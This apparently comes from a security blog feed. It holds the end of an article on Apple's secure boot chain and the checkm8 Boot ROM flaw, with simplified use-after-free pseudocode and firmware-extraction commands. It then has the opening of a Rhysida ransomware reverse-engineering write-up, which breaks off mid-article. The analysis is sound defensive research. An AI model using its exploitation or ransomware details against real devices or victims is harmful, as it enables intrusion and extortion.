<p>The exact stages depend on the age of the device. On an A9 or earlier SoC there is an extra one, the Low-Level Bootloader (LLB): the Boot ROM verifies and runs LLB, and LLB verifies and runs iBoot. On A10 and later the Boot ROM loads iBoot directly. LLB still exists as an image but is now identical to iBoot, tagged so the Boot ROM jumps to it, and iBoot runs in two internal phases, the first performing LLB&rsquo;s old role. On a modern device the chain is three stages:</p>
<pre><code>   Application Processor, out of reset
             │
             ▼
        Boot ROM        immutable, holds the Apple Root CA public key
             │          verify signature, then jump
             ▼
         iBoot          (A10+; older SoCs run LLB before this stage)
             │          verify signature, then jump
             ▼
       kernelcache      XNU + kexts, wrapped in an Image4 container
</code></pre>
<p>iBoot is a full bootloader. It has its own USB stack, a command interpreter in development builds, and the code that loads the kernel. When it finishes its setup it verifies and runs the kernelcache.</p>
<p>A kernelcache is not a bare kernel. It is XNU prelinked with the kernel extensions the device needs, compressed, and, on every 64-bit device, wrapped in the Image4 container described in the next section. That container is what lets iBoot confirm the image it read from disk is the exact kernel Apple signed.</p>
<h2 id="boot-modes-normal-recovery-and-dfu">Boot modes: normal, recovery, and DFU</h2>
<p>The same chain runs differently depending on how the device was started. The three modes below stop at different stages and expose different things over USB.</p>
<p>Normal boot runs the entire chain and starts the OS.</p>
<pre><code>Normal boot
    Boot ROM ──▶ iBoot ──▶ kernelcache ──▶ iOS
    the whole chain runs and the OS starts
</code></pre>
<p>Recovery mode runs the chain up to iBoot, then iBoot stops short of loading the kernel and waits for a host over USB. This is the &ldquo;connect to computer&rdquo; screen, and it is what an ordinary restore or update talks to. The code handling the host is iBoot, one stage above the Boot ROM.</p>
<pre><code>Recovery mode
    Boot ROM ──▶ iBoot ──▶ ✗  kernel is not loaded
                    │
                    └── iBoot waits on USB (&quot;connect to computer&quot; screen)
                        used for normal restores and updates
</code></pre>
<p>DFU mode is lower. The device halts in the Boot ROM, before iBoot runs, with the screen black, and the Boot ROM waits for a host to send the next image over USB. It verifies and runs whatever it receives, the same as during a normal boot. DFU is used for the lowest-level restores, and it is the mode a Boot ROM exploit needs, because the USB code listening in DFU belongs to the Boot ROM itself. checkm8 is triggered here.</p>
<pre><code>DFU mode
    Boot ROM ──▶ ✗  iBoot has not started
        │
        └── the Boot ROM waits on USB (screen stays black)
            used for low-level restores; checkm8 attacks the USB code at this stage
</code></pre>
<h2 id="image4-the-container-everything-is-signed-in">Image4: the container everything is signed in</h2>
<p>Every signed object in the chain uses the same container: Image4, written IMG4. iBoot, the kernelcache, the device tree, the SEP firmware, and the restore ramdisk are all IMG4 files. It is an ASN.1 structure, DER-encoded, with three parts that matter here.</p>
<p>The payload is the IM4P. It holds a four-character type tag identifying the contents (<code>krnl</code> for the kernelcache, <code>ibot</code> for iBoot, <code>sepi</code> for the SEP firmware, and so on), a description string such as a build version, the payload bytes, and, if the payload is compressed, the compression scheme. Two schemes appear in practice: LZSS, which Apple wraps with a <code>complzss</code> header, and LZFSE, whose stream starts with a <code>bvx</code> block magic such as <code>bvx2</code>. An encrypted payload also carries a KBAG, the wrapped key material.</p>
<p>The manifest is the IM4M, also called the APTicket. It contains the expected digests of every image in the boot chain (SHA-384 on modern devices), a set of manifest properties, an X.509 certificate chain, and an RSA signature over all of it. One point is often stated incorrectly: this is not a CMS or PKCS#7 signature. It is an Apple-specific ASN.1 structure with an RSA signature over a SHA-384 digest, and its certificate chain terminates at an Apple-controlled secure-boot root whose public key is the one held in the Boot ROM.</p>
<p>The restore info is the IM4R. Its main content is the boot nonce, tagged <code>BNCN</code>, which the next section depends on.</p>
<p>Verifying an image against a manifest is two steps: confirm that the manifest&rsquo;s signature is valid and chains to Apple, then confirm that the image about to run hashes to the digest the manifest lists for it.</p>
<h2 id="personalization-and-the-signing-window">Personalization and the signing window</h2>
<p>The checks so far verify a signature. They do not yet explain why a valid, Apple-signed iBoot from an old release cannot be installed today. That is enforced by a separate mechanism.</p>
<p>Apple signs each build per device and per install rather than once for all devices. During a restore or update, the device contacts Apple&rsquo;s signing service (named Tatsu, referred to as TSS) and sends the list of images it wants to install along with two device-specific values. The first is the ECID, the Exclusive Chip Identification, a value unique to that SoC. The second is the ApNonce, a fresh anti-replay nonce derived from a random generator value and hashed (SHA-384 on current chips) into the manifest field <code>BNCH</code>. TSS returns a manifest bound to that ECID and that nonce. This personalized signed manifest is the APTicket; a saved copy of it is an SHSH blob, or on modern devices a <code>.shsh2</code> file.</p>
<p>This binding has two effects. Because the manifest is tied to the ECID, a ticket signed for one device does not validate on another, so signed firmware cannot be copied between devices. Because it is tied to a fresh nonce, a saved ticket cannot be replayed later unless the matching nonce generator can be reproduced, which is not possible on a stock device.</p>
<p>The signing window is a time limit on top of this. Apple issues fresh signatures only for the build it currently ships. Some days or weeks after a new release, it stops signing the previous one, after which TSS will not personalize that build for any device. Without a previously saved ticket and a reproducible nonce, there is then no way to restore or downgrade to it.</p>
<div class="admonition note">
<p>This is what made saving SHSH blobs worthwhile. While Apple still signs a build, you can request and store its personalized ticket with a tool such as <code>tsschecker</code>. Once the signing window closes, that saved ticket lets you restore or downgrade to that build later without a fresh signature from Apple. Early on, a saved blob could be replayed as is. Apple then bound each ticket to the ApNonce, so a stock device generates a new nonce at restore and the saved ticket stops matching. Reusing blobs after that also requires fixing the boot-nonce generator to reproduce the original nonce, which needs a jailbreak; <code>futurerestore</code> does both, taking a saved blob plus a forced generator. On A12 and later this is largely closed off.</p>
</div>
<h2 id="the-secure-enclave-boots-alongside">The Secure Enclave boots alongside</h2>
<p>While the Application Processor works through that sequence, the Secure Enclave performs an equivalent one in parallel, isolated in hardware. The enclave has its own dedicated Boot ROM, a separate root of trust on the same die. At startup iBoot reserves a region of memory for it, and the Application Processor passes the enclave its operating system, sepOS. The enclave&rsquo;s own Boot ROM verifies that image&rsquo;s hash and signature before running it. iBoot and the Application Processor deliver the image but do not perform this check. If the check fails, the enclave stops operating until the next full chip reset.</p>
<p>On A13 and later, an additional Boot Monitor measures the sepOS that booted, and a hardware mechanism, System Coprocessor Integrity Protection (SCIP), restricts the enclave to executing only its own Boot ROM code. The enclave is covered in its own article. Secure boot is really two chains, rooted in two separate ROMs, that meet at a shared memory region.</p>
<h2 id="when-the-chain-breaks-checkm8">When the chain breaks: checkm8</h2>
<p>The chain&rsquo;s security depends entirely on the anchor, and on a large range of devices the anchor is exploitable.</p>
<p>In September 2019, axi0mX published checkm8 (CVE-2019-8900), a use-after-free in the Boot ROM&rsquo;s USB code. It is reachable only in DFU mode, Apple&rsquo;s low-level Device Firmware Update state, and only over a physical USB connection. When DFU initializes USB it allocates a global buffer for control transfers and keeps a pointer to it. If a control transfer is started but its data phase is left unfinished, and DFU is then aborted, the teardown frees the buffer without clearing the pointer. Re-entering DFU reuses the freed pointer. With control over what gets allocated into the freed memory, that use-after-free becomes code execution in the earliest and most privileged code on the device.</p>
<p>Reduced to its core, the bug is a freed pointer that is never cleared. The code below captures the shape of the flaw in simplified pseudocode. Apple&rsquo;s Boot ROM is closed source, so this is reconstructed from public analysis, not copied from it:</p>
<pre><code class="language-c">static void *io_buffer;              /* global buffer for USB control transfers */

/* A control transfer with a data stage sets the buffer up. */
static void usb_setup_transfer(size_t len)
{
    io_buffer = alloc(len);
}

/* Aborting DFU tears the transfer down. */
static void usb_quiesce(void)
{
    free(io_buffer);
    /* freed, but io_buffer is never set back to NULL */
}

/* Re-entering DFU drives another transfer through the same global. */
static void usb_handle_transfer(const void *data, size_t len)
{
    memcpy(io_buffer, data, len);    /* io_buffer now points at freed memory */
}
</code></pre>
<p>The free runs in the abort path and leaves <code>io_buffer</code> dangling, and the next transfer writes through it. The rest of checkm8 is timing and heap control: the attacker reallocates the freed region with its own data before the stale pointer is used, so the write lands on something it controls.</p>
<p>checkm8 affects every SoC from A5 to A11, meaning iPhones from the 4S through the iPhone 8 and iPhone X, along with many iPads and iPods and the A10-derived T2 chip in Intel Macs. Because the vulnerable code is in read-only ROM, none of these devices can be patched.</p>
<p>Two distinctions matter. First, the checkm8 bug is not the checkra1n jailbreak built on it: the bug covers A5 to A11, while checkra1n supported only A7 through A11, and A5 and A6 required other tools. Second, checkm8 does not by itself provide access to user data. It requires physical possession of the device and a cable, it is non-persistent (it does not survive a reboot and must be re-run over USB), and it does not defeat the Secure Enclave, the passcode, or the data-at-rest encryption they protect. What checkm8 gives is control of the boot chain itself.</p>
<p>That control is still significant, because every guarantee above the Boot ROM (the signature checks, the signing window, the trust caches and code-integrity mechanisms covered in later articles) is enforced by code that checkm8 can replace. This is why a Boot ROM bug is worth more than most bugs above it, and why later mitigations are designed on the assumption that the layer below them may be compromised.</p>
<h2 id="from-a-boot-rom-bug-to-a-jailbreak">From a Boot ROM bug to a jailbreak</h2>
<p>The Boot ROM is the first code that runs, and its job is to decide what runs next by checking Apple&rsquo;s signature on it. Every stage after it does the same for the stage above, so the rule that the device runs only Apple-signed code is enforced from the bottom up. checkm8 lets an attacker run their own code inside that first stage. Once you are running inside the component that makes the decision, you can change the decision: your code can skip the signature check instead of performing it.</p>
<p>From there you work up the chain. You control the bottom stage, so when it loads the next one, iBoot, you give it a modified version and your code lets it through without verifying it. Now you control iBoot. iBoot loads the kernel the same way, so you pass it a patched kernel and it loads without objection. Each stage you own switches off the check on the stage above it, and you move up one stage at a time, each check disabled by the very stage that was supposed to enforce it.</p>
<p>At the top you have a kernel running your changes. That is what a jailbreak is. In practice it means the device will run software Apple never signed, you have full control of the system including the parts normally locked down, and you can load your own kernel code. For a researcher it is a complete environment for inspecting, patching, instrumenting, and debugging the device from the inside.</p>
<p>One practical consequence follows from how this works. Because the Boot ROM is read-only, nothing you do to the chain sticks: reboot the device without a computer attached and it comes back up as stock, so the exploit has to be re-run over USB each time. That is why checkm8 jailbreaks are described as semi-tethered.</p>
<h2 id="apple-silicon-macs-localpolicy-and-security-levels">Apple Silicon Macs: LocalPolicy and security levels</h2>
<p>Everything above is an iPhone description, but since Apple Silicon it applies to Macs as well, on the same primitives with one addition.</p>
<p>The Mac boot chain is Boot ROM, then LLB, then iBoot, then the kernel. On the Mac, LLB is a distinct stage, unlike the modern iPhone where it is merged into iBoot. The addition is that a Mac owner can choose how strict the chain is, and that choice is itself signed.</p>
<p>The choice is stored in a file called LocalPolicy. It is an Image4 object, but unlike the OS images it is not signed by Apple. It is signed by the machine&rsquo;s own Secure Enclave, using a key generated on that specific Mac that never leaves it. Apple signs the operating system. The Secure Enclave signs the LocalPolicy, the record of how strictly the owner wants that operating system checked. The enclave&rsquo;s attached secure storage blocks rollback of the policy itself, so it cannot be silently downgraded to a weaker setting.</p>
<p>There are three settings. Full Security is the default and matches iOS: the OS is personalized to the machine with its ECID, giving the same anti-rollback guarantee. Reduced Security uses Apple&rsquo;s global, non-personalized signatures, which allows booting older signed versions of macOS and is also required to load third-party kernel extensions. Permissive Security accepts boot objects signed locally by the enclave rather than by Apple, including a custom XNU kernel, and requires System Integrity Protection to be off; it is intended for developers and researchers. The local signing chain still runs at this setting: the boot objects are checked against a key held on the machine.</p>
<p>Changing any of these settings requires physical access. The user boots into recoveryOS through One True Recovery, entered by pressing and holding the power button (a signal software running in macOS cannot generate), and authenticates as an administrator.</p>
<h2 id="hands-on-from-ipsw-to-kernelcache">Hands-on: from IPSW to kernelcache</h2>
<p>An IPSW is a zip archive of Image4 objects, and two open tools, blacktop&rsquo;s <code>ipsw</code> and <code>pyimg4</code>, are enough to go from the download to a kernel you can disassemble.</p>
<p>The commands below show the sequence. Exact flags change between tool versions, so check each tool&rsquo;s <code>--help</code>, and read the output as representative of the format rather than one device&rsquo;s actual signed values.</p>
<pre><code class="language-bash"># 1. Pull an IPSW for a device and build you want to look at.
ipsw download ipsw --device iPhone10,3 --build &lt;build&gt;

# 2. An IPSW is a zip. Look at what is inside.
unzip -l iPhone10,3_*.ipsw
#   kernelcache.release.iphone10b
#   Firmware/dfu/iBoot.d22.RELEASE.im4p
#   Firmware/all_flash/DeviceTree.d22ap.im4p
#   ...
</code></pre>
<pre><code class="language-bash"># 3. Read the payload header: what is this, and how is it packed?
pyimg4 im4p info -i kernelcache.release.iphone10b
#   FourCC:      krnl
#   Description: KernelCache
#   Data compression type: LZSS  (Apple 'complzss' wrapper)
</code></pre>
<pre><code class="language-bash"># 4. Pull the raw payload out of the IM4P and decompress it.
pyimg4 im4p extract -i kernelcache.release.iphone10b -o kernelcache.raw
file kernelcache.raw
#   kernelcache.raw: Mach-O 64-bit executable arm64
</code></pre>
<p>The kernelcache is now a Mach-O. Before disassembling it, look at the manifest that vouches for it:</p>
<pre><code class="language-bash"># 5. The manifest: the object that says 'Apple signed this'.
# The personalized manifest is not in the IPSW; it comes from your own
# device or a saved SHSH blob (for example via tsschecker).
pyimg4 im4m info -i APTicket.der
#   Device Processor:    T8015           (A11, the iPhone10,3 SoC)
#   ECID (hex):          0x&lt;your device's ECID&gt;
#   ApNonce (hex):       &lt;nonce hash, the BNCH field&gt;
#   SepNonce (hex):      &lt;SEP nonce&gt;
#   Manifest images (N): krnl, ibot, sepi, rdsk, dtre, ...
#   (add -v for each image's DGST digest and the rest of the properties)
</code></pre>
<p>The <code>Manifest images</code> list is the set of components this ticket vouches for; with <code>-v</code>, each is shown alongside the digest (<code>DGST</code>) the loader will require the real image to match. The <code>ECID</code> is the personalization described earlier, which ties the ticket to one device, so running <code>pyimg4 im4m info</code> on a manifest from your own device is a useful check: the ECID it prints is that device&rsquo;s. The manifest also carries an X.509 certificate chain that terminates at the key held in the Boot ROM. Open <code>kernelcache.raw</code> from step four in a disassembler and you have the starting point for the next article, on XNU.</p>
<h2 id="state-in-2026">State in 2026</h2>
<p>The main change is convergence: the iOS boot chain and the Apple Silicon Mac boot chain now use the same primitives (Image4, TSS, per-device personalization), differing mainly in the LocalPolicy layer that Macs add. The coprocessors boot the same way, each verifying its own signed image against its own root.</p>
<p>The mitigations above the boot chain are covered in later articles rather than here. Once the kernel is running, pointer authentication changes what an attacker can do with a bug, which is the subject of <a href="/blog/pointer-authentication-arm64e/">the arm64e post</a> and continues when this series reaches the kernel.</p>
<p>The anchor itself is also still active research. In mid-2026, researchers reported a checkm8-style Boot ROM bug said to reach the A12 and A13 generations. If it holds up, it extends the unpatchable-ROM problem two generations forward.</p>
<h2 id="where-this-leaves-us">Where this leaves us</h2>
<p>This is the full chain, from the Boot ROM to the kernel the rest of the system runs inside. Little of what follows in the series introduces a new kind of trust. The sandbox, code signing, the trust caches, and the entitlements that decide what a process can do are all enforced by a kernel that runs only because this sequence of signatures verified in order. That is also why a Boot ROM compromise like checkm8 undermines all of them at once. The next article moves up one level, into the kernel itself: XNU, its Mach and BSD halves, and the capability model the rest of the security stack is built on.</p>
<h2 id="notes-and-sources">Notes and sources</h2>
<p>Everything here is drawn from public documentation, open tooling, and published research.</p>
<ul>
<li>Apple Platform Security: <a href="https://support.apple.com/guide/security/boot-process-for-ipad-and-iphone-devices-secb3000f149/web">Boot process for iPhone and iPad</a>, <a href="https://support.apple.com/guide/security/boot-process-secac71d5623/web">Boot process for a Mac with Apple silicon</a>, <a href="https://support.apple.com/guide/security/the-secure-enclave-sec59b0b31ff/web">The Secure Enclave</a>, <a href="https://support.apple.com/guide/security/secure-software-updates-secf683e0b36/web">Secure software updates</a>, and <a href="https://support.apple.com/guide/security/contents-a-localpolicy-file-mac-apple-silicon-secc745a0845/web">the LocalPolicy file contents</a>.</li>
<li>The Image4 format and the APTicket / SHSH scheme: <a href="https://www.theapplewiki.com/wiki/IMG4_File_Format">The Apple Wiki on IMG4</a> and <a href="https://www.theapplewiki.com/wiki/APTicket">APTicket</a>; Jay Freeman (saurik), <a href="https://www.saurik.com/apticket.html">&ldquo;Where did my iOS 6 TSS data go?&rdquo;</a>; and amarioguy&rsquo;s <a href="https://amarioguy.github.io/2025/10/20/iboot_image4_validator.html">&ldquo;An analysis of iBoot&rsquo;s Image4 parser&rdquo;</a>.</li>
<li>checkm8: axi0mX&rsquo;s <a href="https://github.com/axi0mX/ipwndfu">ipwndfu</a> and CERT <a href="https://www.kb.cert.org/vuls/id/941987/">VU#941987</a> (CVE-2019-8900).</li>
<li>Tooling used above: <a href="https://github.com/blacktop/ipsw">blacktop/ipsw</a> and <a href="https://github.com/m1stadev/PyIMG4">pyimg4</a>.</li>
<li>For depth beyond any of this, the standard reference is Jonathan Levin&rsquo;s <em>OS Internals</em>: Volume III (Security &amp; Insecurity) for the boot chain and secure boot, Volume II (Kernel Mode) for XNU.</li>
</ul>]]></description>
    </item>
    <item>
      <title>How I broke Rhysida ransomware encryption</title>
      <link>https://sigreturn.com/blog/rhysida-analysis-decryption/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/rhysida-analysis-decryption/</guid>
      <pubDate>Fri, 05 Jun 2026 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>Reverse Engineering</category>
      <category>ransomware</category>
      <category>reverse-engineering</category>
      <category>cryptography</category>
      <category>malware-analysis</category>
      <description><![CDATA[<h2 id="tldr">TL;DR</h2>
<p>Rhysida is a ransomware-as-a-service group that has been active since around May 2023 and has since claimed 250+ victims across healthcare, education, and government, mostly in the US and Europe.</p>
<p>I found a cryptographic flaw in its encryption back in May 2023, just weeks after the ransomware first surfaced, but NDA constraints meant I couldn&rsquo;t publish until now.</p>
<p>The flaw: its file-encryption keys are derived from a timestamp-seeded RNG, so they can be regenerated and the files recovered. I confirmed it across sixteen versions and built a C decryptor that handles all of them. The PowerShell version of the ransomware fixes the flaw. Full technical breakdown below.</p>
<p>Rhysida exists in several forms, written in different languages and compiled for different architectures. This write-up focuses on the sample below, which we treat as the version 0 reference, the earliest one we observed:</p>
<p>SHA-256: <code>a864282fea5a536510ae86c77ce46f7827687783628e4f2ceb5bf2c41b8cd3c6</code></p>
<h2 id="static-analysis-of-the-rhysida-encryptor">Static analysis of the Rhysida encryptor</h2>
<p>This version of Rhysida ships with debugging symbols, which makes it considerably easier to analyze. It&rsquo;s also the sample I built the decryptor against, I then adapted it to the other versions as they appeared. We&rsquo;ll walk through that adaptation process too, and to keep things readable we&rsquo;ll only cover the parts of the binary that actually matter.</p>
<h3 id="entry-point-and-initialization">Entry point and initialization</h3>
<p>Execution drops into the encryptor through <code>main</code>, which sets everything up before any of the victim&rsquo;s files get touched. The first disassembled block is already a goldmine, two things jump out:</p>
<p><strong><code>srand</code> is seeded with <code>time(0)</code>.</strong> The PRNG is initialized straight from the current timestamp. This is the crux of the whole vulnerability, and we&rsquo;ll come back to it.</p>
<p><img alt="IDA: srand seeded with time(0) at the start of the encryptor" src="1.png" loading="lazy" decoding="async" width="380" height="63"></p>
<p><strong>A call to <code>GetSystemInfo</code>, then a read of <code>sysinfo.dwNumberOfProcessors</code>.</strong> Rhysida grabs the number of logical processors on the victim&rsquo;s machine and stashes it in a global, <code>PROCS</code>, which it uses later to parallelize the encryption.</p>
<p><img alt="IDA: GetSystemInfo reading dwNumberOfProcessors into the PROCS global" src="2.png" loading="lazy" decoding="async" width="530" height="93"></p>
<p>Next we see a loop that runs a counter up to the number of logical processors found earlier, spawning a new thread for each one. Each thread is later used to generate the file encryption keys asynchronously.</p>
<p><img alt="IDA: loop spawning one encryption thread per logical processor" src="3.png" loading="lazy" decoding="async" width="997" height="651"></p>
<p>This is exactly why we need to know the victim machine&rsquo;s logical processor count to decrypt the files, but that number is usually standard and easy to guess (4, 8, 16, 32, 64…). We&rsquo;ll dig into this in the decryptor development section.</p>
<p>Once the thread-spawning loop is done, the program calls an internal function named <code>parseOptions</code>, which parses the arguments the attacker passed to the program, used to toggle certain internal options of the encryptor or switch its operating mode.</p>
<p><img alt="IDA: call to parseOptions parsing the attacker's command-line arguments" src="4.png" loading="lazy" decoding="async" width="654" height="756"></p>
<p>Two parameters in particular stand out:</p>
<p><strong><code>-d</code></strong>, lets the attacker point the program at a specific directory. The path is stored in a <code>directory_modifier</code> variable, whose value then gets written into the program&rsquo;s internal options.</p>
<p><img alt="IDA: the -d option storing its target path into directory_modifier" src="5.png" loading="lazy" decoding="async" width="622" height="473"></p>
<p><strong><code>-sr</code></strong>, tells the program to delete itself once it&rsquo;s done running. The boolean is held in a <code>self_remove_modifier</code> variable and likewise written into the internal options.</p>
<p><img alt="IDA: the -sr option setting the self_remove_modifier boolean" src="6.png" loading="lazy" decoding="async" width="541" height="580"></p>
<p>To sum up, the decompiled C pseudocode of <code>parseOptions</code> looks roughly like this:</p>
<p><img alt="Decompiled parseOptions pseudocode comparing arguments against -d and -sr" src="7.png" loading="lazy" decoding="async" width="468" height="708"></p>
<p>You can clearly see the comparisons against the <code>"-d"</code> and <code>"-sr"</code> strings, along with the storage of any attacker-supplied parameter values into the program&rsquo;s internal options.</p>
<p>Likewise, here&rsquo;s the C pseudocode for the start of <code>main</code> analyzed earlier, the <code>srand</code> call seeding the PRNG, <code>GetSystemInfo</code> for the processor count, the <code>for</code> loop that spins up the threads, and the <code>parseOptions</code> call:</p>
<p><img alt="main pseudocode: srand seeding, GetSystemInfo, the thread loop and parseOptions" src="8.png" loading="lazy" decoding="async" width="441" height="468"></p>
<h3 id="initializing-the-encryptors-cryptographic-parameters">Initializing the encryptor&rsquo;s cryptographic parameters</h3>
<p>Further along the execution flow, we hit a series of routines that initialize the encryptor&rsquo;s cryptographic parameters.</p>
<p><strong><code>init_prng</code></strong> initializes the pseudo-random number generator. We&rsquo;ll come back to this later in the write-up.</p>
<p><strong><code>rsa_import</code></strong> imports, among other things, a public RSA key referenced earlier in the code, along with its size. This public RSA key is hardcoded into the encryptor.</p>
<p><img alt="IDA: rsa_import loading the hardcoded RSA public key and its size" src="9.png" loading="lazy" decoding="async" width="379" height="156"></p>
<p><strong><code>register_cipher</code> then <code>find_cipher</code></strong> are called in succession to set up the AES cipher mode.</p>
<p><img alt="IDA: register_cipher then find_cipher setting up the AES cipher" src="10.png" loading="lazy" decoding="async" width="1023" height="364"></p>
<p><strong><code>register_hash</code>, <code>chc_register</code> then <code>find_hash</code></strong> are called in succession to set up the hash function used.</p>
<p><img alt="IDA: register_hash, chc_register then find_hash setting up the hash function" src="11.png" loading="lazy" decoding="async" width="1493" height="553"></p>
<h3 id="walking-the-file-system">Walking the file system</h3>
<p>The program then moves on to walking the system&rsquo;s files, through a parent function <code>openDirectoryNR</code> that takes the path of the directory to recurse into. Its prototype is:</p>
<pre><code class="language-c">void __cdecl openDirectoryNR(char *directory_name);
</code></pre>
<h4 id="how-directories-are-selected">How directories are selected</h4>
<p>The argument, the full path to the directory to walk and encrypt, depends on the <code>-d</code> option the attacker passes to the program. As seen earlier, this option sets a target folder to encrypt. For example, <code>-d C:\Users\test\Downloads</code> tells the program to encrypt only the <code>Downloads</code> folder of the user <code>test</code>. If no <code>-d</code> parameter is given, the entire disk is walked and encrypted by default. Here&rsquo;s what that looks like in C pseudocode:</p>
<p><img alt="Pseudocode selecting the directory to walk based on the -d option" src="12.png" loading="lazy" decoding="async" width="459" height="212"></p>
<p>If the internal <code>directory</code> option doesn&rsquo;t exist (meaning no <code>-d</code> was used at launch, which is the default behavior), the program iterates over every letter from <code>A</code> to <code>Z</code> and tries to recursively encrypt every drive mounted on the system: <code>A:</code>, <code>B:</code>, <code>C:</code>, and so on. If a mount point doesn&rsquo;t exist, it&rsquo;s skipped and the encryptor moves to the next letter. So the main system drive, often <code>C:</code>, gets encrypted, along with any other data disks and mounted external storage (<code>D:</code>, <code>E:</code>, &hellip;).</p>
<p>For simplicity we won&rsquo;t break down <code>openDirectoryNR</code> in detail. It&rsquo;s just a file-traversal function: it works through a queue holding the folders to visit one after another, while regular files are pulled out of the traversal and added to a global array named <code>QUERY_FILE_POSS</code> by the <code>addFileToQueue</code> function.</p>
<p><img alt="IDA: addFileToQueue adding regular files to the QUERY_FILE_POSS array" src="13.png" loading="lazy" decoding="async" width="525" height="322"></p>
<h4 id="excluded-directories">Excluded directories</h4>
<p>Some folders are skipped by the encryptor, via an array of directory paths named <code>exclude_directories</code> that the <code>isDirectoryExcluded</code> function checks against. These are mostly system and boot directories: leaving them untouched keeps the machine bootable and usable enough for the victim to actually read the ransom note and pay.</p>
<p><img alt="IDA: isDirectoryExcluded checking paths against the exclude_directories array" src="14.png" loading="lazy" decoding="async" width="531" height="80"></p>
<p><img alt="IDA: the exclude_directories array of skipped system and boot paths" src="15.png" loading="lazy" decoding="async" width="551" height="284"></p>
<p>Once the integer array is exported and converted back to strings, we get the following excluded paths:</p>
<pre><code>/$Recycle.Bin
/Boot
/Documents and Settings
/PerfLogs
/Program Files
/Program Files (x86)
/ProgramData
/Recovery
/System Volume Information
/Windows
/$RECYCLE.BIN
</code></pre>
<h3 id="encrypting-files">Encrypting files</h3>
<p>Across multiple threads, one per logical processor on the system, the <code>processFiles</code> function is called to handle the files assigned to each thread. It walks the array of files to encrypt, extracts the file path&rsquo;s name, checks whether the file is actually a legitimate target with <code>isFileExcluded</code>, and encrypts it where appropriate with <code>processFileEnc</code>.</p>
<p><img alt="IDA: processFiles checking isFileExcluded and calling processFileEnc per file" src="16.png" loading="lazy" decoding="async" width="297" height="78"></p>
<h4 id="excluded-files">Excluded files</h4>
<p>Some files are left out of encryption too. In <code>isFileExcluded</code> we see filtering on file extensions, driven by an integer array <code>exclude_extensions</code> that holds the extensions to skip. As with the excluded directories, these are mostly executables and system files: encrypting them would risk breaking the OS and leaving the machine unbootable, which works against the attacker&rsquo;s goal of a recoverable, ransom-payable system.</p>
<p><img alt="IDA: isFileExcluded filtering targets against the exclude_extensions array" src="17.png" loading="lazy" decoding="async" width="565" height="268"></p>
<p>Just like the previous array, once exported and converted to strings, we get the list of file extensions Rhysida will not encrypt:</p>
<pre><code>.bat
.bin
.cab
.cmd
.com
.cur
.diagcab
.diagcfg
.diagpkg
.drv
.dll
.exe
.hlp
.hta
.ico
.lnk
.msi
.ocx
.ps1
.psm1
.scr
.sys
.ini
Thumbs.db
.url
.iso
</code></pre>
<h4 id="a-quirk-in-the-random-number-generation">A quirk in the random number generation</h4>
<p>Before getting into the encryption process itself, it&rsquo;s essential to understand how Rhysida generates randomness.</p>
<p>As briefly mentioned earlier, the <code>init_prng</code> function called early in execution initializes the random number generator. We see that this function is called once per thread that can run simultaneously during execution. Each thread maps to a logical processor core, which is exactly why the program needs to grab the machine&rsquo;s logical processor count up front.</p>
<p><img alt="IDA: init_prng called once per thread to seed each PRNG" src="18.png" loading="lazy" decoding="async" width="410" height="78"></p>
<p>This function makes several calls into the external <code>libtomcrypt</code> library, notably the ChaCha20 random-string generation functions, but also calls to <code>rand</code>, which acts directly on the value passed earlier to its seeder, <code>srand</code>. In our case, that seed is the timestamp passed to <code>srand</code> at the start of the program.</p>
<p><img alt="IDA: init_prng calling libtomcrypt's ChaCha20 routines and rand" src="19.png" loading="lazy" decoding="async" width="764" height="455"></p>
<p>The global array fed by this function, named <code>prngs</code> and sized to the number of processors, holds the various initialization values for the ChaCha20 random-string generator. It&rsquo;s used throughout the rest of the program, in particular to generate the encryption keys.</p>
<p>The key thing to remember here: from one processor count to another, this array will be different, and so will the strings generated from it.</p>
<h4 id="the-encryption-routine">The encryption routine</h4>
<p>Rhysida&rsquo;s encryption algorithm follows a specific process that we find in every strain we analyzed. As mentioned earlier, a victim file is encrypted in the <code>processFileEnc</code> function, called on each targeted file in turn, taking the file path and name as its argument. we won&rsquo;t detail every cryptographic function involved; to keep things simple, we&rsquo;ll focus only on what&rsquo;s essential to explain how the vulnerability is exploited and how the decryptor was built.</p>
<p>In short: the key and IV for each file are produced by a ChaCha20 string-generation function. Those values are encrypted with RSA, whose private decryption key is held solely by the attacker. The file is then encrypted with the generated key and IV using the CTR algorithm, and these RSA-encrypted values are stored at the end of the encrypted victim file. The ChaCha20, RSA, and CTR algorithms are all implementations from a single external library, <code>libtomcrypt</code>.</p>
<h5 id="the-encryption-process-step-by-step">The encryption process, step by step</h5>
<p>Here&rsquo;s the path Rhysida takes to encrypt files:</p>
<p>Generate a 32-byte key and a 16-byte initialization vector with <code>chacha20_prng_read</code>. Then initialize the cipher with that key and IV using <code>ctr_start</code>.</p>
<p><img alt="IDA: chacha20_prng_read producing the 32-byte key and 16-byte IV, then ctr_start" src="20.png" loading="lazy" decoding="async" width="718" height="497"></p>
<p>Set the IV for the CTR algorithm with <code>ctr_setiv</code>.</p>
<p><img alt="IDA: ctr_setiv setting the IV for CTR mode" src="21.png" loading="lazy" decoding="async" width="650" height="201"></p>
<p>Encrypt the previously generated key and IV using RSA and a public key hardcoded into the executable. The <code>rsa_encrypt_key_ex</code> function handles this encryption of the secrets, and the resulting encrypted values are written to the end of the victim&rsquo;s file.</p>
<p><img alt="IDA: rsa_encrypt_key_ex wrapping the per-file secrets with the RSA public key (1/4)" src="22.png" loading="lazy" decoding="async" width="671" height="178">
<img alt="IDA: rsa_encrypt_key_ex wrapping the per-file secrets with the RSA public key (2/4)" src="23.png" loading="lazy" decoding="async" width="692" height="196">
<img alt="IDA: rsa_encrypt_key_ex wrapping the per-file secrets with the RSA public key (3/4)" src="24.png" loading="lazy" decoding="async" width="796" height="181">
<img alt="IDA: rsa_encrypt_key_ex wrapping the per-file secrets with the RSA public key (4/4)" src="25.png" loading="lazy" decoding="async" width="807" height="137"></p>
<p>Encrypt the file block by block, each block going through a call to <code>ctr_encrypt</code> using the generated key and IV, which differ for every file.</p>
<p><img alt="IDA: ctr_encrypt encrypting the file block by block" src="26.png" loading="lazy" decoding="async" width="525" height="259"></p>
<p>Rhysida doesn&rsquo;t encrypt the whole file if it&rsquo;s larger than 1,048,576 bytes (<code>0x100000</code> in hex), which is the block size the attacker uses.</p>
<p><img alt="IDA: size check skipping full encryption for files larger than 0x100000 bytes" src="27.png" loading="lazy" decoding="async" width="540" height="29"></p>
<div class="admonition note">
